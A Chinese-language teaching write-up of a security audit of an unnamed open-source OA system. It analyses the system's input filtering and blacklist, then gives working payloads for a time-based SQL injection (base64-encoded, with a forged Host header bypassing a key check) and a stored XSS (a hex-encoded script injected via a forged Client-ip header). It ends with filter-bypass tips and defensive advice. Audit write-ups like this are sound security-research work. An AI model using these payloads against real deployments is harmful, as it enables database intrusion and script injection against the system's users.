某开源OA系统的审计记录
字数 1415 2025-08-10 08:28:29

某开源OA系统安全审计教学文档

0x00 系统概述

该开源OA系统采用基于MVC架构的设计,主要通过mad三个参数来确定路由和功能调用:

  • 默认访问路径在webadmin目录下
  • 通过dm参数确定调用哪个文件
  • 当文件位置为webadmin/$d/a/bAction.php时,ab|分割传入,即m=a|b
  • 系统通过文件名前缀同名类名初始化类对象
  • 创建类对象时会调用父类mainAction__construct方法进行初始化
  • 每个实现类都会实现initAction方法进行初始化操作
  • 最后根据参数a定位类中具体要调用的函数处理请求

0x01 输入过滤机制分析

系统通过get()post()方法获取参数时会对输入进行严格的黑名单检测:

核心过滤方法

public function get($name,$dev='', $lx=0) {
   $val=$dev;
   if(isset($_GET[$name]))$val=$_GET[$name];
   if($this->isempt($val))$val=$dev;
   return $this->jmuncode($val, $lx, $name);
}

public function post($name,$dev='', $lx=0) {
    $val  = '';
    if(isset($_POST[$name])){$val=$_POST[$name];}else{if(isset($_GET[$name]))$val=$_GET[$name];}
    if($this->isempt($val))$val=$dev;
    return $this->jmuncode($val, $lx, $name);
}

多层过滤实现(jmuncode方法)

public function jmuncode($s, $lx=0, $na='') {
    // 解密处理
    if(substr($s, 0, 7)=='rockjm_' || $lx == 1 || $jmbo){
        $s = str_replace('rockjm_', '', $s);
        $s = $this->jm->uncrypt($s);
    }
    if(substr($s, 0, 7)=='basejm_' || $lx==5){
        $s = str_replace('basejm_', '', $s);
        $s = $this->jm->base64decode($s);
    }
    
    // 基本过滤
    $s=str_replace("'", '&#39', $s);
    $s=str_replace('%20', '', $s);
    
    // 特殊字符替换
    if($lx==2)$s=str_replace(array('{','}'), array('[H1]','[H2]'), $s);
    
    // 黑名单检测
    $str = strtolower($s);
    foreach($this->lvlaras as $v1)if($this->contain($str, $v1)){
        $this->debug(''.$na.'《'.$s.'》error:包含非法字符《'.$v1.'》','params_err');
        $s = $this->lvlarrep($str, $v1);
        $str = $s;
    }
    
    // 关键参数额外过滤
    $cslv = array('m','a','p','d','ip','web','host','ajaxbool','token','adminid');
    if(in_array($na, $cslv))$s = $this->xssrepstr($s);
    
    return $this->reteistrs($s);
}

黑名单列表

$this->lvlaras = explode(',','select ,alter table,delete ,drop ,update ,insert into,load_file,/*,*/,union,<script,</script,sleep(,outfile,eval(,user(,phpinfo(),select*,union%20,sleep%20,select%20,delete%20,drop%20,and%20');

XSS过滤方法

public function xssrepstr($str) {
    $xpd = explode(',','(,), ,<,>,\\,*,&,%,$,^,[,],{,},!,@,#,",+,?,;\'');
    $xpd[]= "\n";
    return str_ireplace($xpd, '', $str);
}

0x02 SQL注入漏洞分析

漏洞位置

openxxClassAction类中,存在通过base64解密nickNameavatarUrl参数并直接拼接到SQL语句中的情况。

漏洞利用条件

  1. 需要绕过openkey校验
  2. 需要构造特殊的base64编码payload

绕过openkey校验的方法

系统在校验openkey时有特殊逻辑:

if($this->rock->host == '127.0.0.1' || contain($this->rock->host, '192.168')){
    // 跳过校验
}

其中host来自$_SERVER['HTTP_HOST'],可通过修改请求头绕过。

漏洞利用步骤

  1. 构造恶意payload:1' and sleep(5)#
  2. 进行base64编码:MScgYW5kIHNsZWVwKDUpIw==
  3. 修改Host头为127.0.0.1
  4. 发送请求:
/index.php?m=openxxx|openapi&d=xxx&a=data&ajaxbool=0&nickName=MScgYW5kIHNsZWVwKDUpIw==

最终执行的SQL

insert into $table set $key = '1' and sleep(5)#' ... where `openid`=xxx;

0x03 存储型XSS漏洞分析

漏洞位置

ActionNot类的getoptionAjax方法中,num参数经过过滤但未过滤反斜杠(\),可导致SQL报错并记录到日志中。

漏洞利用链

  1. 通过getoptionAjax方法传入特殊构造的num参数
  2. 参数最后一位为反斜杠导致SQL报错
  3. 报错信息被记录到日志中
  4. 日志记录时使用getclientip获取IP地址
  5. 伪造IP地址中包含XSS payload

IP获取方法分析

public function getclientip() {
    $ip = 'unknow';
    if(isset($_SERVER['HTTP_CLIENT_IP'])){
        $ip = $_SERVER['HTTP_CLIENT_IP'];
    }else if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
        $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
    }else if(isset($_SERVER['REMOTE_ADDR'])){
        $ip = $_SERVER['REMOTE_ADDR'];
    }
    $ip= htmlspecialchars($this->xssrepstr($ip));
    return $ip;
}

绕过XSS过滤的技巧

  1. 使用十六进制编码XSS payload:<script>alert('1')</script>0x3c7363726970743e616c65727428273127293c2f7363726970743e
  2. 使用tab代替空格绕过空格过滤

漏洞利用payload

Client-ip: 111',web=0x3c7363726970743e616c65727428273127293c2f7363726970743e    --  '

0x04 审计经验总结

  1. 关注解密/解码操作:审计时应特别关注对json格式、base64解密等操作的参数传入点,这些地方可能出现过滤绕过。

  2. 黑名单绕过技巧

    • 使用编码/解码方式绕过
    • 利用系统自身的解密功能
    • 寻找过滤遗漏的特殊字符(如反斜杠)
  3. 输入验证旁路

    • 检查是否有参数可以通过HTTP头伪造
    • 寻找不经过常规过滤的输入点
  4. 防御建议

    • 使用白名单而非黑名单进行输入验证
    • 对解密后的数据应重新进行验证
    • 关键操作应使用预编译语句而非字符串拼接
    • 日志记录时应对所有输入进行严格过滤
  5. 自动化审计技巧

    • 搜索\(\$this\-\>get\(等模式查找参数获取点
    • 检查所有直接拼接SQL语句的位置
    • 跟踪解密/解码函数的调用链
某开源OA系统安全审计教学文档 0x00 系统概述 该开源OA系统采用基于MVC架构的设计,主要通过 m 、 a 、 d 三个参数来确定路由和功能调用: 默认访问路径在 webadmin 目录下 通过 d 和 m 参数确定调用哪个文件 当文件位置为 webadmin/$d/a/bAction.php 时, a 和 b 用 | 分割传入,即 m=a|b 系统通过文件名前缀同名类名初始化类对象 创建类对象时会调用父类 mainAction 的 __construct 方法进行初始化 每个实现类都会实现 initAction 方法进行初始化操作 最后根据参数 a 定位类中具体要调用的函数处理请求 0x01 输入过滤机制分析 系统通过 get() 和 post() 方法获取参数时会对输入进行严格的黑名单检测: 核心过滤方法 多层过滤实现(jmuncode方法) 黑名单列表 XSS过滤方法 0x02 SQL注入漏洞分析 漏洞位置 在 openxxClassAction 类中,存在通过base64解密 nickName 和 avatarUrl 参数并直接拼接到SQL语句中的情况。 漏洞利用条件 需要绕过 openkey 校验 需要构造特殊的base64编码payload 绕过openkey校验的方法 系统在校验 openkey 时有特殊逻辑: 其中 host 来自 $_SERVER['HTTP_HOST'] ,可通过修改请求头绕过。 漏洞利用步骤 构造恶意payload: 1' and sleep(5)# 进行base64编码: MScgYW5kIHNsZWVwKDUpIw== 修改Host头为 127.0.0.1 发送请求: 最终执行的SQL 0x03 存储型XSS漏洞分析 漏洞位置 在 ActionNot 类的 getoptionAjax 方法中, num 参数经过过滤但未过滤反斜杠( \ ),可导致SQL报错并记录到日志中。 漏洞利用链 通过 getoptionAjax 方法传入特殊构造的 num 参数 参数最后一位为反斜杠导致SQL报错 报错信息被记录到日志中 日志记录时使用 getclientip 获取IP地址 伪造IP地址中包含XSS payload IP获取方法分析 绕过XSS过滤的技巧 使用十六进制编码XSS payload: <script>alert('1')</script> → 0x3c7363726970743e616c65727428273127293c2f7363726970743e 使用tab代替空格绕过空格过滤 漏洞利用payload 0x04 审计经验总结 关注解密/解码操作 :审计时应特别关注对json格式、base64解密等操作的参数传入点,这些地方可能出现过滤绕过。 黑名单绕过技巧 : 使用编码/解码方式绕过 利用系统自身的解密功能 寻找过滤遗漏的特殊字符(如反斜杠) 输入验证旁路 : 检查是否有参数可以通过HTTP头伪造 寻找不经过常规过滤的输入点 防御建议 : 使用白名单而非黑名单进行输入验证 对解密后的数据应重新进行验证 关键操作应使用预编译语句而非字符串拼接 日志记录时应对所有输入进行严格过滤 自动化审计技巧 : 搜索 \(\$this\-\>get\( 等模式查找参数获取点 检查所有直接拼接SQL语句的位置 跟踪解密/解码函数的调用链